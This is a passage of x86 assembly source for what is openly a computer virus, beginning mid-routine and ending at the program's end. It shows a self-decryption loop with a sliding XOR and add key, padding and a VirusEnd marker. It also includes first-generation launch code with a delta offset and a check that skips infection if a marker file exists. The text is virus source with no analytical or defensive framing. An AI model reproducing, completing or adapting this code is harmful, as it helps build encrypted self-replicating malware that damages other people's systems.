loop NextAPI stc ret ApiErr: add esp,0ch clc ret EncryptedVirusEnd equ $ DecryptVirus: mov esi,[esp] ;get return address mov ecx,EncryptedVirus ;size of encrypted virus mov edx,12345678h SlidingKey equ $-4 decrypt:rol edx,1h xor byte ptr [esi],0h XorKey equ ($-1) add byte ptr [esi],dl inc esi loop decrypt ret db 60h dup(?) ;padding VirusEnd equ $ FirstGenHost: IF SEC_CHECK push OF_READ call OverF db "c:\not_me.txt",0 OverF: call _lopen cmp eax,0FFFFFFFFh ;dont run virus if this file exist je JmpVirs ret JmpVirs: ENDIF mov ebp,VirusSize xor ebp,ebp ;first generation delta offset push offset Exit pushad jmp VirusStart Exit: nop _exit: push eax call [ExitProcess] FakeHost: push 0FFFFFFFFh call [Sleep] OF_READ equ 0 end FirstGenHost |